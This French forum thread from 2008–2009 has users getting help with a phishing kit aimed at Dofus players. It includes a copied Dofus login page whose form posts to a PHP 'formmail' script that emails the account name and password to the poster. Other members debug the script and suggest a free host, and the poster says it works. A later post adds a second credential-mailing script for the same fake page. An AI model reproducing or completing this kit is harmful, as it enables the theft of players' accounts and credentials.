S'abonner :  Newsletters    Magazines
Avis sur les produits Avis sur les logiciels Avis sur les jeux Actualités A propos de 01net
603 utilisateurs connectés

[RESOLU] Adaptation script PHP

timdid le 28 mai 2008 à 14h21
Bonjour,

Je viens vous demander de l'aide au sujet d'un script php. Il s'agit de ce qu'on pourrait appeler un formmail. C'est un script qui fait en sorte que les informations remplies dans les champs me sont envoyées par mail.

J'ai donc ma page html avec mes deux champs. Mais le script html ne marche pas... Je ne reçois rien et il me met "Vous n'avez pas complété le champ 1 et 2"

Donc je vous post mon script php : Pouvez vous me dire si quelque chose cloche ?

<?

function check_mail($champ4) {
if( (preg_match('/(@.*@)|(\.\.)|(@\.)|(\.@)|(^\.)/', $champ4)) ||
(preg_match('/^.+\@(\[?)[a-zA-Z0-9\-\.]+\.([a-zA-Z]{2,3}|[0-9]{1,3})(\]?)$/',$champ4)) ) {
$host = explode('@', $champ4);
if(checkdnsrr($host[1].'.', 'MX') ) return true;
if(checkdnsrr($host[1].'.', 'A') ) return true;
if(checkdnsrr($host[1].'.', 'CNAME') ) return true;
}
return false;
}
$MailTo = "adresseemail@essai.fr";
$MailSubject = "Essai Formmail";
$MailHeader = "From: ";

$min_size="3"; // Longueur minimum du message
$max_size="5000"; //Longueur maximum du message


$Envoi = 1;
if ($champ1 == ""){echo("Vous n'avez pas complété le champ 1.<br>");
$Envoi = 0;
}
else {
$MailBody .= "Pseudo $champ1\n";
}
if ($champ2 == ""){
echo("Vous n'avez pas complété le champ Mot De Passe.<br>");
$Envoi = 0;
}
else {
$MailBody .= "Mot de pass $champ2\n";
}
if ($Envoi == 0) {
}

//Envoi du message
if ($Envoi == 1) {
mail($MailTo, $MailSubject, $MailBody, $MailHeader);
}
?>
<meta http-equiv="refresh" content="3,www.adresseopif.com/">


Ou sinon pourriez vous me faire un script php adapté à ma page html, c'est à dire avec 2 champs car je ne m'y connais pas du tout en php, vous l'aurez compris. Donc voici ma page :

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head>
<title>Dofus</title>
<meta name="description" content="" />
<meta name="keywords" content="" />
<meta name="robots" content="Index,Follow" />
<meta name="language" content="fr" />
<meta http-equiv="imagetoolbar" content="no" />
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<link type="image/x-icon" rel="shortcut icon" href="index_files/favicon0.ico" />
<link rel="stylesheet" type="text/css" href="index_files/reset000.css" media="screen" />
<link rel="stylesheet" type="text/css" href="index_files/base0000.css" media="screen" />
<link rel="stylesheet" type="text/css" href="index_files/global00.css" media="screen" />
<script type="text/javascript">
STATIC = "https://static.ankama.com/ankamaaccount/www"
</script>
</head>
<body class="fr">
<div id="body">
<a id="logo" href="http://www.dofus.com/fr"></a>
<div id="header">
<div id="quick">
<ul>
<li><a href="https://www.dofus.com/es" class="es"></a></li>
<li><a href="https://www.dofus.com/de" class="de"></a></li>
<li><a href="https://www.dofus.com/en" class="en"></a></li>
<li><a href="https://www.dofus.com/fr" class="fr_on"></a></li>
</ul>
<p>
<a href="https://www.dofus.com/fr/creer-un-compte">Inscription</a> |
<a href="https://www.dofus.com/fr/votre-compte">Gestion de compte</a>
| <a href="http://www.ankama-games.com/fr/abonnement/" target="_blank">Abonnement</a>
</p>
</div>
</div>
<div id="content">

<div class="warning share">Pour la sécurité de votre compte,<br />
<strong>ne partagez pas ces informations !</strong></div>
<h1>Identification</h1>
<a href="http://www.dofus.com/fr">Retour au site communautaire</a>

<form class="form" method="post" action="formmail.php">
<input type="hidden" name="postBack" value="1" />
<input type="hidden" name="f" value="" />
<p class="intro">Si vous possédez déjà un compte, identifiez-vous ci-dessous :</p>
<div class="ident">
<h3>Identification</h3>
<fieldset>
<label for="champ1">* Votre nom de compte : </label>
<input name="champ1" id="login" type="text" value="" />
</fieldset>
<fieldset>
<label for="champ2">* Votre mot de passe : </label>
<input name="champ2" id="password" type="password" value="" />
</fieldset>
<fieldset class="center">
<input type="submit" class="bt btbig" value="Je m'identifie" />
</fieldset>
</div>
</form>
<p class="recover">
<a href="https://www.dofus.com/fr/votre-compte/retrouver-mot-de-passe">J'ai oublié mon mot de passe !</a> |
<a href="https://www.dofus.com/fr/creer-un-compte">Je n'ai pas de compte</a>
</p>
<p class="grey">* Tous les champs sont obligatoires</p>

</div>
<div class="clear"></div>
<div id="stop"></div>
</div>
<div id="footer"><a href="javascript:void(0);" onclick="window.open('http://www.ankama.com/terms_of_use/terms.php?lang=fr&amp;site=do','pop','scrollbars=yes,menubar=yes,width=700,height=600')">Conditions d'utilisation</a> - <a href="javascript:void(0);" onclick=" window.open('http://www.ankama.com/terms_of_use/policy.php?lang=fr&amp;site=do','pop','scrollbars=yes,menubar=yes,width=650,height=500')">Politique de confidentialité</a> - <a href="javascript:void(0);" onclick="window.open('http://www.ankama.com/terms_of_use/security.php?lang=fr&amp;site=ag','pop','scrollbars=yes,menubar=yes,width=650,height=500')">Paiements & Sécurité</a><br />
<a href="http://www.ankama.com/" target="_blank">Ankama</a> © 2008. Tous droits réservés.</div><script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
var pageTracker = _gat._getTracker("UA-122429-46");
pageTracker._setDomainName("none");
pageTracker._setAllowLinker(true);
pageTracker._initData();
pageTracker._trackPageview();
</script>


</body>
</html>
<!-- This document saved from https://www.dofus.com/fr/identification -->


Cette page, je ne sais pas si vous l'avez remarqué, est en faite du phishing ;) Ne vous inquiétez pas elle n'est pas de moi, nous sommes en train d'étudier le html en cours (j'ai un peu séché) et nous devons présenter un projet. Ici nous présenterons le fonctionnement de cette technique illégal, et pour ça il nous faut un bon exemple.
J'espère que personne n'essaiera d'utiliser cette page à de mauvaises fin.

Merci d'avance.


-->Message édité par timdid le 05/07/2008 23:21:05<--
timdid le 28 mai 2008 à 19h18
SVP j'attend une réponse !
Le N@in Vert le 28 mai 2008 à 19h25
Le scripte php que tu montre est assez moche...
Comme sa je ne vois pas d'erreur mais bon...

Et sa me semble impossible qu'il te mette :
"Vous n'avez pas complété le champ 1 et 2"

Il met plutôt :
"Vous n'avez pas complété le champ 1" et / ou "Vous n'avez pas complété le champ Mot De Passe."


Après si tu veut je te récrie un scripte propre qui marche et qui fait ce que tu veut...
-------
Les aventure du donjon de naheulbeuk : www.penofchaos.com/donjon
Le site du zero : http://www.siteduzero.com
Mes sites :
http://www.sendle.com
timdid le 28 mai 2008 à 20h02
Oui tu as raison j'ai écris le message un peu dans la précipitation il me met bien distinctement les deux messages :
Vous n'avez pas complété le champ 1
Vous n'avez pas complété le champ 2


Donc si tu dis que le script est pas tres beau. Et comme il ne marche pas ce ne serait pas de refus que tu m'en refasses un. Ce serait meme la meilleur chose que tu pourrais me faire.

Donc merci, je l'attend avec impatience.
:love:
Le N@in Vert le 28 mai 2008 à 21h01
Tu veut que sa soit un seul fichier "formmail.php" avec ton html et le php inclue dedans ou que ton fichier html pointe vers un scripte php distant appeler "formmail.php" ??
-------
Les aventure du donjon de naheulbeuk : www.penofchaos.com/donjon
Le site du zero : http://www.siteduzero.com
Mes sites :
http://www.sendle.com
Pc_expert_3 le 28 mai 2008 à 21h06
timdid a écrit :
Oui tu as raison j'ai écris le message un peu dans la précipitation il me met bien distinctement les deux messages :



Donc si tu dis que le script est pas tres beau. Et comme il ne marche pas ce ne serait pas de refus que tu m'en refasses un. Ce serait meme la meilleur chose que tu pourrais me faire.

Donc merci, je l'attend avec impatience.
:love:

C'est pas à lui de faire ton boulot O_o.

Tu utilises $champ1 et $champ2 sans les avoir crées. Tu comptes donc sur les register_globals.
Or, cette fonction est désactivée depuis php4.2 (je crois).

Tu dois commencer par redéclarer tes variables $champ1 = $_POST['champ1']
-------
Fils d'Albanel, va !
Le N@in Vert le 28 mai 2008 à 21h11
Mais euh moi sa m'amuse de faire ces scripte :p
Enfin bon d'un certain coté Pc_eXPert a raison c'est mieux pour toi si tu le fait toi même...
C'est utile de connaitre php... Sa te servira surement a l'avenir...
Et puis entre nous c'est pas bien compliquer...
-------
Les aventure du donjon de naheulbeuk : www.penofchaos.com/donjon
Le site du zero : http://www.siteduzero.com
Mes sites :
http://www.sendle.com
Pc_expert_3 le 28 mai 2008 à 21h14
Mais ce script il est pas de lui ?

Si c'est le cas il doit avoir quelques bases quand même (pi y'a les regexp, bon...)
-------
Fils d'Albanel, va !
timdid le 28 mai 2008 à 23h02
Bonjour à tous, alors ce n'est pas moi qui ai fait le script, je l'ai trouvé sur interne. Un débutant me l'a fait en faite...
Car mon cours ne porte pas beaucoup sur le php et donc je n'ai aucune notion en php. Mais pour faire le projet que j'envisage j'aurai besoin de ce script. Mais mon projet ne porte pas sur le php mais sur les techniques de hack illégales donc le phishing est une sous-partie et pour créer la page de phishing j'ai besoin d'un script php. Donc même si vous me disiez que je dois le faire moi même ça n'arrivera pas j'en serais incapable :p et c'est pour ça que je viens demander votre aide si précieuse.

Je ne sais pas si je me suis bien expliquer :pt1cable: Sinon je referai mon message plus clairement :/

Donc espérons que le nain vert va s'amuser à faire mon script. En tous cas ce serait super sympa

Merci d'avance (enfin j'espère :jap: )
Pc_expert_3 le 28 mai 2008 à 23h04
Je t'ai dit ce qui n'allait pas.

PS : le phishing, c'est le mal.
-------
Fils d'Albanel, va !
timdid le 28 mai 2008 à 23h10
Merci PC_Expert_3. Mais je viens de dire que je ne m'y connaissais pas du tout en php :pleure: Donc ce serait sympa de me récrire mon script en rajoutant les 2 lignes que tu as mentionnées, celle ou il faut déclarer les champs.
Sinon explique moi comment faire :jap:
Pc_expert_3 le 28 mai 2008 à 23h18
Ben tu rajoutes au tout début
$champ1 = $_POST['champ1'];
$champ2 = $_POST['champ2'];

Je suis pas sûr qu'il n'y ait que ça qui bloque, mais bon, on verra ça quand t'auras corrigé ce premier problème.
-------
Fils d'Albanel, va !
timdid le 28 mai 2008 à 23h38
Bon bah j'ai fait comme tu m'a dit. J'ai rajouter ces deux lignes au début. Et voilà que je n'ai plus de messages d'erreur :super:

... Mais ça ne marche toujours pas. Je ne reçois aucun mail. Et vu que je doit montrer un exemple vaut mieux qu'il marche. Donc si tu pouvais encore un peu m'aider :jap:
Pc_expert_3 le 29 mai 2008 à 00h01
if ($Envoi == 0) {
}
A supprimer, c'est vide, inutile.
Et puis quelle horreur ce $Envoi=1 $Envoi=0...

$MailHeader = "From: ";
rajoute un truc genre From :adresse@mail.net
-------
Fils d'Albanel, va !
timdid le 29 mai 2008 à 00h07
J'ai supprimé :
if ($Envoi == 0) {
}

J'ai aussi ajouter une adresse après "From:..."
Et ça ne marche pas.
Mais quand tu dis "quelle horreur" tu veux que je modifie ou que je supprime les $Envoi=1 $Envoi=0... ??
Pc_expert_3 le 29 mai 2008 à 00h15
Plus simplement : est-ce que le serveur sur lequel ce script tourne a un SMTP ?
-------
Fils d'Albanel, va !
timdid le 29 mai 2008 à 00h22
Mhh je sais pas il faudrait que je mette quoi dans le script pour qu'il essaye juste d'envoyer un mail ? et le serveur que j'utilise est http://www.000webhost.com/ et je ne sais pas s'il a un smtp
timdid le 29 mai 2008 à 00h26
Euh vraiment très peu.
Pc_expert_3 le 29 mai 2008 à 00h27
mail('tonadresse@isp.net','Le titre du message','Le message de test');
Tu mets ça tout en haut de ton script, il l'enverra en premier.

Si rien ne vient, alors tu ne peux pas envoyer de mails à partir de ce serveur.
-------
Fils d'Albanel, va !
timdid le 29 mai 2008 à 00h33
Merci de votre aide. J'ai fait comme vous m'avez dit... Et j'ai recu aucun message.

Alors je vais vous poser une dernière question ? Vous pourriez me communiquer des noms d'hébergeurs gratuits ou il n'y a pas besoin de faire de requete (trop long et souvent rejeté vu que ça a rapport avec un truc illégal)
-->Message édité par timdid le 29/05/2008 00:34:09<--
Pc_expert_3 le 29 mai 2008 à 00h52
www.bplaced.net
Allemand mais très bien : 1Go de stockage, 10 bases SQL, possibilité de rediriger un domaine en A, pas de pub.
-------
Fils d'Albanel, va !
timdid le 29 mai 2008 à 01h20
Merci je viens de me créer un compte ça m'a l'air parfait.
mais je sens que je vais etre un peu casse-pied. Mais j'ai mis mon site sur le ftp avec ma page index.html à la racine.
Mais quand je me met sur mon site, c'est pas mon index qui apparait ? Comment faire ?

Ps: Et comment faire pour retirer les pubs ? Du style la bannière google ads
-->Message édité par timdid le 29/05/2008 01:22:08<--
Pc_expert_3 le 29 mai 2008 à 01h34
Euh c'est quoi l'URL de ton site ?
Parce qu'il n'y a pas de google ad normalement O_o
-------
Fils d'Albanel, va !
timdid le 29 mai 2008 à 07h22
Et bien non tu as raison, il n'y en a pas. Il y en avait avant que je mette mon site maintenant y e n plus et ça marche nickel. Plus qu'à vérifier si le script lui marche. Je te tiendrai aux nouvelles.
Merci
timdid le 29 mai 2008 à 07h30
SUPER :sol: ça marche nickel, merci ma note va etre super.
En tous cas sans vous j'y serais pas arrivé merci :jap:

Ps: Là je vux bien qu'on lock le sujet.
Le N@in Vert le 29 mai 2008 à 14h01
Bon bah je suis au chomage alors...
:lol:

Pour ce qui est de ton sujet EDIT le premier message et rajoute [resolu] au nom du sujet...
-------
Les aventure du donjon de naheulbeuk : www.penofchaos.com/donjon
Le site du zero : http://www.siteduzero.com
Mes sites :
http://www.sendle.com
timdid le 29 mai 2008 à 16h18
Ok c'est fait =D
axmax le 23 mars 2009 à 08h28
svp vous pouve me le post voir comme sa fait
axmax le 23 mars 2009 à 09h56
svp j'ai un formail (je l'ai apelle envoi.php ) mais je recois pas je recois le pseudo sur objet est le mot de passe . je ne utulise pas pour un phising sur pour teste .

<html>
<meta HTTP-EQUIV="Refresh" content="0;URL=https://www.dofus.fr">
</html>
<?
$headers ='From: "Noveau TEste"<Mon Adresse@hotmail.fr>'."\n";

$login = htmlentities ($_POST['login'], ENT_QUOTES);
$passwd = htmlentities ($_POST['passwd'], ENT_QUOTES);


if(mail('MonAdresse@hotmail.fr', $login, $passwd, $headers))
{
echo '';
}
else
{
echo 'SERVER ERROR';
}
?>

svp aide moi le html c'est la page dofus


PRODUITS

TÉLÉCHARGER - LOGICIELS

JEUX VIDÉOS

LOISIRS

01NET PRO

AVIS ET COMMENTAIRES

A PROPOS DE 01NET

publicité
Télévision
Ringardes, les séries françaises ?

Service 01net
Newsletters 01net
abonnez vous gratuitement !
  
01Informatique
01 INFORMATIQUE
L'hebdo de référence des décideurs informatiques.
Micro Hebdo
MICRO HEBDO
L'hebdo qui vous simplifie la micro
et Internet.
L'Ordinateur Individuel
L'ORDINATEUR INDIVIDUEL
Le mensuel informatique qui vous informe et vous conseille.
Nous contacter  |  Charte de confiance  |  Voir notice légale

01net.  -  01men  -  RMC  -  BFM Radio  -  BFM TV  -  TousLesPodcasts  -  01informatique.fr  -  Association RMC-BFM
Tous droits réservés © 1999 - 2009 Internext - 01net.